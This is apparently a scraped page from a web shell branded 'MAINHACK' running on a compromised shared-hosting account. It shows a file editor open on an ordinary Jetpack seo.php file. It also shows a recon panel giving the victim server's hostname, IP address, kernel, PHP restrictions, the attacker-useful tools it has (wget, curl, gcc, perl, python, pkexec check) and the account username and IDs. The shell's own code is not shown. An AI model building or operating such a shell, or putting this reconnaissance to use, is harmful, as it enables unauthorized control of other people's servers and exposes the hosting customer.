[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: seo.php
<?php /** * Block Editor - SEO feature. * * @package automattic/jetpack */ namespace Automattic\Jetpack\Extensions\Seo; use Automattic\Jetpack\Modules; add_action( 'jetpack_register_gutenberg_extensions', function () { if ( is_seo_disabled() ) { return; } \Jetpack_Gutenberg::set_availability_for_plan( 'advanced-seo' ); } ); /** * We only want to enable the SEO extension (and display SEO settings) * if the 'jetpack_disable_seo_tools' filter is not set to false. * * This is done on after_setup_theme to ensure that we have access to the hook * that is used by SEO plugins to disable the conflicting output of SEO Tools. */ add_action( 'after_setup_theme', function () { if ( ! is_seo_disabled() /** This filter is already documented in modules/seo-tools/class-jetpack-seo-utils.php */ && ! apply_filters( 'jetpack_disable_seo_tools', false ) ) { \Jetpack_Gutenberg::set_extension_available( 'jetpack-seo' ); } } ); add_filter( 'jetpack_set_available_extensions', function ( $extensions ) { return array_merge( (array) $extensions, array( 'advanced-seo' ) ); } ); /** * SEO tools should be hidden from non-admins if the module is not active. * * @since 14.6 * * @return bool */ function is_seo_disabled(): bool { return ! ( new Modules() )->is_active( 'seo-tools' ) && ! current_user_can( 'jetpack_activate_modules' ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252